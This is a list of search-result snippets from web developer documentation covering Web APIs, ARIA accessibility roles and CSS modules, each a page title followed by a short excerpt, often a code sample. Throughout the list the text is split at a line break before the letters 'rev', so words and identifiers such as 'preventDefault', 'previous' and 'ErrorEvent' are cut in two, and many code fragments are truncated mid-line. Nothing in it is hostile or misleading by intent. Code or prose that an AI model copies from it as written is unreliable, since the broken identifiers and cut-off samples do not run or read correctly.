when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions.top - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
Selection.setBaseAndExtent() - Web APIs
note: if the focus position appears before the anchor position in the document, the direction of the selection is
reversed — the caret is placed at the beginning of the text rather the end, which matters for any keyboard command that might follow.
Sensor APIs - Web APIs
sensorerro
reventsecure context provides information about errors thrown by a sensor or related interface.
SharedWorker - Web APIs
abstractworker.onerror is an eventlistener that is called whenever an erro
revent of type error bubbles through the worker.
SourceBuffer.changeType() - Web APIs
invalidstateerror the sourcebuffer is not a member of the parent media source's sourcebuffers list, or the buffer's updating property indicates that a p
reviously queued appendbuffer() or remove() is still being processed.
SpeechRecognition: error event - Web APIs
bubbles no cancelable no interface speechrecognitionerro
revent event handler property onerror examples you can use the error event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definit...
SpeechSynthesis.speak() - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.lang - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specificat...
SpeechSynthesisUtterance.onboundary - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary ...
SpeechSynthesisUtterance.onend - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being...
SpeechSynthesisUtterance.onmark - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + eve...
SpeechSynthesisUtterance.onpause - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + ev...
SpeechSynthesisUtterance.onresume - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + ...
SpeechSynthesisUtterance.onstart - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering t...
SpeechSynthesisUtterance.pitch - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification...
SpeechSynthesisUtterance.rate - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification ...
SpeechSynthesisUtterance.text - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specifi...
SpeechSynthesisUtterance.voice - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.volume - Web APIs
inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specificatio...
SpeechSynthesisVoice - Web APIs
ces[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause ...
StorageEstimate.quota - Web APIs
this value is an estimate to help p
revent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties.
StorageEstimate.usage - Web APIs
the value is an estimate because the user agent may use compression, duplication p
revention techniques, and other methods to improve storage efficiency.
StorageEstimate - Web APIs
these values are only estimates for several reasons, including both performance and p
reventing storage capacity data from being used for fingerprinting purposes.
StorageEvent - Web APIs
the oldvalue is null when the key has been newly added and therefore doesn't have any p
revious value.
Using the Storage Access API - Web APIs
if that call returns false, we can then call document.requeststorageaccess(), returning the result so that then we can chain it onto the p
revious promise call.
Streams API - Web APIs
p
reviously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received.
StyleSheet.disabled - Web APIs
the disabled property of the stylesheet interface determines whether the style sheet is p
revented from applying to the document.
TextEncoder.prototype.encodeInto() - Web APIs
if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't p
revent your wasm program from seeing a logically truncated string if the javascript string contained u+0000.
TextRange - Web APIs
textrange.pastehtml() paste the html content into the given range and replace any p
revious text and html elements in the range.
Touch() - Web APIs
(for example, the user agent may use the rotationangle value from the p
revious touch event, to avoid sudden changes.).
Touch.pageX - Web APIs
var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the p
revious version.
Touch.radiusX - Web APIs
</div> var src = document.getelementbyid("src"); src.addeventlistener('touchstart', rotate); src.addeventlistener('touchmove', rotate); src.addeventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default event handling e.p
reventdefault(); // rotate element 'src'.
TransformStream - Web APIs
let responses = [ /* conjoined response tree */ ] let {readable, writable} = new transformstream responses.reduce( (a, res, i, arr) => a.then(() => res.pipeto(writable, {p
reventclose: (i+1) !== arr.length})), promise.resolve() ) note that this is not resilient to other influences.
USB - Web APIs
event handlers usb.onconnect an event handler called whenever a p
reviously paired device is connected.
User Timing API - Web APIs
interoperability as shown in the performance interface's browser compatibility table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are desktop safari and mobile safari, however the safari technology p
review 24 has support).
Visual Viewport API - Web APIs
the pendingupdate flag serves to p
revent multiple invocations of the transfrom that can occur when onresize and onscroll fire at the same time.
WakeLock - Web APIs
the wakelock interface of the screen wake lock api p
revents device screens from dimming or locking when an application needs to keep running.
WebGL2RenderingContext.texImage3D() - Web APIs
gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) source one of the following objects can be used as a pixel source for the texture: arraybufferview, imagebitmap, imagedata, htmlimageelement, htmlcanvaselement, htmlvideoelement.
WebGL2RenderingContext.texSubImage3D() - Web APIs
gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybufferview, a uint8array must be used if type is gl.unsigned_byte.
WebGLRenderingContext.readPixels() - Web APIs
possible values: gl.unsigned_byte gl.unsigned_short_5_6_5 gl.unsigned_short_4_4_4_4 gl.unsigned_short_5_5_5_1 gl.float webgl2 adds gl.byte gl.unsigned_int_2_10_10_10_
rev gl.half_float gl.short gl.unsigned_short gl.int gl.unsigned_int gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev pixels an arraybufferview object to read data into.
WebGLRenderingContext.texImage2D() - Web APIs
oes_texture_float extension: gl.float when using the oes_texture_half_float extension: ext.half_float_oes (constant provided by the extension) when using a webgl 2 context, the following values are available additionally: gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybufferview, a uint8array must be used if type is gl.unsigned_byte.
WebGLRenderingContext.texSubImage2D() - Web APIs
when using the oes_texture_float extension: gl.float when using the oes_texture_half_float extension: gl.half_float_oes when using a webgl 2 context, the following values are available additionally: gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybufferview, a uint8array must be used if type is gl.unsigned_byte.
Using WebGL extensions - Web APIs
oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture
review boards (khronos).
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
async function disablehold(micstream) { await audiotransceiver.sender.replacetrack(micstream.getaudiotracks()[0]); audiotransceiver.receiver.track.enabled = true; audiotransceiver.direction = "sendrecv"; } this
reverses the steps taken in enablehold() as follows: the audio transceiver's rtcrtpsender's track is replaced with the specified stream's first audio track.
Lifetime of a WebRTC session - Web APIs
this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply
reviews the process in general with some information about why each step is required.
WebXR application life cycle - Web APIs
if your scene is complex, you should consider creating a worker—or using one that you've p
reviously created for this purpose—to perform the computations needed for each frame to be rendered.
Lighting a WebXR setting - Web APIs
ambient light is commonly present simply to p
revent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low.
WebXR performance guide - Web APIs
this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#p
reventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
WebXR Device API - Web APIs
geometry and reference spaces in webxr in this guide, the required concepts of 3d geometry are briefly
reviewed, and the fundamentals of how that geometry is represented in webxr are detailed.
Web Audio API best practices - Web APIs
if for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this: gainnode.gain.setvalueattime(1, audioctx.currenttime + 2); it will override the p
revious example (as it should), even if it were to come later in your code.
Visualizations with Web Audio API - Web APIs
creating a waveform/oscilloscope to create the oscilloscope visualisation (hat tip to soledad penadés for the original code in voice-change-o-matic), we first follow the standard pattern described in the p
revious section to set up the buffer: analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); next, we clear the canvas of what had been drawn on it before to get ready for the new visualization display: canvasctx.clearrect(0, 0, width, height); we now define the draw() function: function draw() { in here, we use requestanimationfram...
Attestation and Assertion - Web APIs
assertion when a user chooses to log into a service, the server sends a challenge and the authenticator signs over it with a key pair p
reviously registered to that service.
Web Locks API - Web APIs
interfaces lock provides the name and mode of a p
reviously requested lock, which is received in the callback to lockmanager.request().
Web Speech API - Web APIs
speechsynthesiserro
revent contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service.
Window.alert() - Web APIs
the following text is shared between this article, dom:window.prompt and dom:window.confirm dialog boxes are modal windows - they p
revent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.back() - Web APIs
the obsolete and non-standard method back() on the window interface returns the window to the p
revious item in the history.
Window.closed - Web APIs
refreshing a p
reviously opened popup in this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data.
Window.confirm() - Web APIs
example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they p
revent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about p
reviously registered custom elements.
window.dump() - Web APIs
precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to whe
rever you want.
Window.onbeforeinstallprompt - Web APIs
window.addeventlistener("beforeinstallprompt", function(beforeinstallpromptevent) { beforeinstallpromptevent.p
reventdefault(); // p
revents immediate prompt display // shows prompt after a user clicks an "install" button installbutton.addeventlistener("click", function(mouseevent) { // you should not use the mouseevent here, obviously beforeinstallpromptevent.prompt(); }); installbutton.hidden = false; // make button operable }); ...
Privileged features - Web APIs
the dependent feature is currently under
revision to be removed (bug 214867) in msie 6, the nearest equivalent to this feature is the showmodelessdialog() method.
Window.opener - Web APIs
in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will p
revent the window.opener reference from being set, in which case this property will return null.
Window: pagehide event - Web APIs
for example, when the user clicks the browser's back button, the current page receives a pagehide event before the p
revious page is shown.
Window.prompt() - Web APIs
the following text is shared between this article, dom:window.confirm and dom:window.alert dialog boxes are modal windows; they p
revent the user from accessing the rest of the program's interface until the dialog box is closed.
Window: transitionend event - Web APIs
bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state.
WindowEventHandlers.onafterprint - Web APIs
the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then
revert those changes after printing has completed.
WindowEventHandlers.onbeforeprint - Web APIs
the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then
revert those changes after printing has completed.
WindowOrWorkerGlobalScope.btoa() - Web APIs
h; i++) { codeunits[i] = string.charcodeat(i); } return string.fromcharcode(...new uint8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); // ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to
reverse the conversion on the decoded string: function frombinary(binary) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾...
Worker - Web APIs
event handlers abstractworker.onerror an eventlistener called whenever an erro
revent of type error bubbles through to the worker.
XDomainRequest - Web APIs
"http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a timeout (see window.settimeout() to p
revent an issue with the interface where some requests are lost if multiple xdomainrequests are being sent at the same time.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
let nsserr = math.abs(nsinsserrorsservice.nss_sec_error_base) - (status & 0xffff); switch (nsserr) { case 11: // sec_error_expired_certificate, sec(11) errname = 'securityexpiredcertificateerror'; break; case 12: // sec_error_
revoked_certificate, sec(12) errname = 'security
revokedcertificateerror'; break; // per bsmith, we will be unable to tell these errors apart very soon, // so it makes sense to just folder them all together already.
XMLHttpRequest() - Web APIs
this only works in privileged (
reviewed) apps (bug 692677); it does not work on arbitrary webpages loaded in firefox ...
XMLHttpRequest.getResponseHeader() - Web APIs
if there are multiple response headers with the same name, then their values are returned as a single concatenated string, where each value is separated from the p
revious one by a pair of comma and space.
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget.ontimeout contains the function that is called if the event times out and the timeout event is received by this object; this only happens if a timeout has been p
reviously established by setting the value of the xmlhttprequest object's timeout attribute.
XRBoundedReferenceSpace - Web APIs
the specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the webxr site or application p
revent the user from colliding with the walls or other obstacles in the real world.
XRReferenceSpace - Web APIs
{x: 0, y: 1, z: 0, w: 1}); xrreferencespace = xrreferencespace.getoffsetreferencespace(offsettransform); this replaces the xrreferencespace with a new one whose origin and orientation are adjusted to place the new origin at (2, 0, 1) relative to the current origin and rotated given a unit quaternion that orients the space to put the viewer facing straight up relative to the p
revious world orientation.
XRRigidTransform() - Web APIs
after creating an xrrigidtransform from the viewer's initial position and orientation, we pass the new transform into getoffsetreferencespace() to create another reference space, now offset so that its origin is located at the same place in space as the coordinates given by viewerposition, with the orientation also
revised in the same fashion.
XRRigidTransform.inverse - Web APIs
applying the inverse of a transform to any object p
reviously transformed by the parent xrrigidtransform always undoes the transformation, resulting in the object returning to its p
revious pose.
XRRigidTransform - Web APIs
that is, if applied to an object that had been p
reviously transformed by the original transform, it will undo the transform and return the original object.
XRSession.inputSources - Web APIs
you can then either get the value of inputsources to examine the list, or you can refer to a reference to the list that you've p
reviously saved.
XRSession - Web APIs
cancelanimationframe() removes a callback from the animation frame painting callback from xrsession's set of animation frame rendering callbacks, given the identifying handle returned by a p
revious call to requestanimationframe().
XRSystem: isSessionSupported() - Web APIs
en((issupported) => { if (issupported) { userbutton.addeventlistener('click', onbuttonclicked); userbutton.innerhtml = 'enter xr'; userbutton.disabled = false; } }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown for reasons of b
revity and clarity.
XRSystem: requestSession() - Web APIs
= 'enter xr'; immersivebutton.disabled = false; } else { console.log("webxr doesn't support immersive-vr mode!"); } }); } else { console.log("webxr is not available!"); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown for reasons of b
revity and clarity.
XRViewport.y - Web APIs
note: although other web apis typically consider the y axis to begin at the top and grow larger progressing downward, webgl
reverses this, with y growing larger as it goes upward on the screen.
XSLTProcessor - Web APIs
[throws] void xsltprocessor.removeparameter(string namespaceuri, string localname) removes the parameter if it was p
reviously set.
msGetRegionContent - Web APIs
syntax var retval = element.msgetregioncontent(); parameters retval [out,
reval] type: msrangecollection the name of the property to enable.
Using the slider role - Accessibility
arrow keys should operate as follows (localization for right-to-left languages should
reverse the direction of the arrows): key(s) action right and up arrows increase the selected value left and down arrows decrease the selected value page up and page down optionally increase and decrease the value by a set amount (e.g.
Using the status role - Accessibility
examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ua and at product combinations additional resources p
revious recommendations from wai-aria 1.0 (2014) for the status role ...
ARIA: button role - Accessibility
id transparent; } button:active, button:focus, [role="button"][aria-pressed="true"] { border: 2px solid #000; } javascript function handlebtnclick(event) { togglebutton(event.target); } function handlebtnkeydown(event) { // check to see if space or enter were pressed if (event.key === " " || event.key === "enter" || event.key === "spacebar") { // "spacebar" for ie11 support // p
revent the default action to stop scrolling when space is pressed event.p
reventdefault(); togglebutton(event.target); } } function togglebutton(element) { var audio = document.getelementbyid('audio'); // check to see if the button is pressed var pressed = (element.getattribute("aria-pressed") === "true"); // change aria-pressed to the opposite state element.setattribute("aria-pre...
ARIA: dialog role - Accessibility
<p> <label for="interests">interests</label> <textarea id="interests"></textarea> </p> <p> <input type="checkbox" id="autologin"/> <label for="autologin">auto-login?</label> </p> <p> <input type="submit" value="save information"/> </p> </form> </div> working examples: jquery-ui dialog notes note: while it is possible to p
revent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate to that content using their screen reader's virtual cursor.
ARIA: textbox role - Accessibility
the placeholder should be visible when the control's value is the empty string such as when the control first receives focus and when users remove a p
reviously-entered value.
WAI-ARIA Roles - Accessibility
elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some content on the page, or to a p
revious comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated.
Web applications and ARIA FAQ - Accessibility
document.getelementbyid("update-button").addeventlistener("click", function (e) { updateprogress(75); e.p
reventdefault(); }, false); } initdemo(); how do assistive technologies work?
Basic form hints - Accessibility
<button aria-describedby="description
revert">
revert</button> <div id="description
revert">
reverting will undo any changes that have been made since the last save.</div> note: the aria-describedby attribute is used for other purposes, in addition to form controls.
Perceivable - Accessibility
"swipe from the right hand side of the screen to
reveal the menu" some users might not be able to swipe the screen, either due to disability or because their device does not support touch.
@charset - CSS: Cascading Style Sheets
e utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (
revision 1)the definition of '@charset' in that specification.
aural - CSS: Cascading Style Sheets
examples basic example @media aural { body { voice-family: paul } } specifications specification status comment css level 2 (
revision 2)the definition of 'aural' in that specification.
user-zoom - CSS: Cascading Style Sheets
accessibility concerns disabling zooming capabilities p
revents people experiencing low vision conditions from being able to read and understand page content.
Using multiple backgrounds - CSS: Cascading Style Sheets
d-repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, right; } result (if image does not appear in codepen, click the 'tidy' button in the css section) as you can see here, the firefox logo (listed first within background-image) is on top, directly above the bubbles graphic, followed by the gradient (listed last) sitting underneath all p
revious 'images'.
Mastering margin collapsing - CSS: Cascading Style Sheets
it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (
revision 1)the definition of 'margin collapsing' in that specification.
CSS Color - CSS: Cascading Style Sheets
specifications specification status comment css color module level 4 working draft css color module level 3 recommendation css level 2 (
revision 1) recommendation css level 1 recommendation initial definition ...
CSS Fonts - CSS: Cascading Style Sheets
css fonts module level 3 candidate recommendation adds font-feature-settings (and related higher-level properties) css level 2 (
revision 1) recommendation css level 1 recommendation initial definition ...
Subgrid - CSS: Cascading Style Sheets
no implicit grid in a subgridded dimension if you need to autoplace items, and do not know how many items you will have, take care when creating a subgrid, as it will p
revent additional rows being created to hold those items.
Using CSS gradients - CSS: Cascading Style Sheets
<div class="radial-ellipse-side"></div> div { width: 240px; height: 100px; } .radial-ellipse-side { background: radial-gradient(ellipse closest-side, red, yellow 10%, #1e90ff 50%, beige); } example: farthest-corner for ellipses this example is similar to the p
revious one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.
CSS Paged Media - CSS: Cascading Style Sheets
reference css properties page-break-after page-break-before page-break-inside at-rules @page pseudo-classes :blank :first :left :right specifications specification status comment css paged media module level 3 working draft css fragmentation module level 3 candidate recommendation css level 2 (
revision 1) recommendation ...
CSS Table - CSS: Cascading Style Sheets
reference properties border-collapse border-spacing caption-side empty-cells table-layout vertical-align specifications specification status comment css level 2 (
revision 1) recommendation initial definition ...
CSS Text Decoration - CSS: Cascading Style Sheets
ick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (
revision 1) recommendation css level 1 recommendation initial definition ...
CSS Writing Modes - CSS: Cascading Style Sheets
reference properties direction glyph-orientation-horizontal text-combine-upright text-orientation unicode-bidi writing-mode specifications specification status comment css writing modes module level 3 proposed recommendation css level 2 (
revision 1) recommendation css level 1 recommendation initial definition ...
Card - CSS: Cascading Style Sheets
when setting up the single column grid i use the following: .card { display: grid; grid-template-rows: max-content 200px 1fr; } the heading track is set to max-content, which p
revents it from stretching.
Testing media queries programmatically - CSS: Cascading Style Sheets
ending query notifications to stop receiving notifications about changes to the value of your media query, call removelistener() on the mediaquerylist, passing it the name of the p
reviously-defined callback function: mediaquerylist.removelistener(handleorientationchange); ...
Media queries - CSS: Cascading Style Sheets
specifications specification status comment media queries level 5 editor's draft css conditional rules module level 3 candidate recommendation media queries level 4 candidate recommendation media queries recommendation css level 2 (
revision 1) recommendation initial definition ...
Microsoft CSS extensions - CSS: Cascading Style Sheets
scroll-limit-y-max -ms-scroll-limit-y-min -ms-scroll-rails -ms-scroll-snap-points-x -ms-scroll-snap-points-y -ms-scroll-snap-x -ms-scroll-snap-y -ms-scroll-translation -ms-text-autospace -ms-touch-select -ms-wrap-flow -ms-wrap-margin -ms-wrap-through zoom pseudo-elements ::-ms-browse ::-ms-check ::-ms-clear ::-ms-expand ::-ms-fill ::-ms-fill-lower ::-ms-fill-upper ::-ms-
reveal ::-ms-thumb ::-ms-ticks-after ::-ms-ticks-before ::-ms-tooltip ::-ms-track ::-ms-value media features -ms-high-contrast css-related dom apis mscontentzoomfactor msgetpropertyenabled msgetregioncontent msrangecollection msregionoverflow ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
d] -moz-transition-delay [prefixed version still accepted] -moz-transition-duration [prefixed version still accepted] -moz-transition-property [prefixed version still accepted] -moz-transition-timing-function [prefixed version still accepted] -moz-user-select values global values -moz-initial -moz-appearance button button-arrow-down button-arrow-next button-arrow-p
revious button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-communications-toolbox...
CSS reference - CSS: Cascading Style Sheets
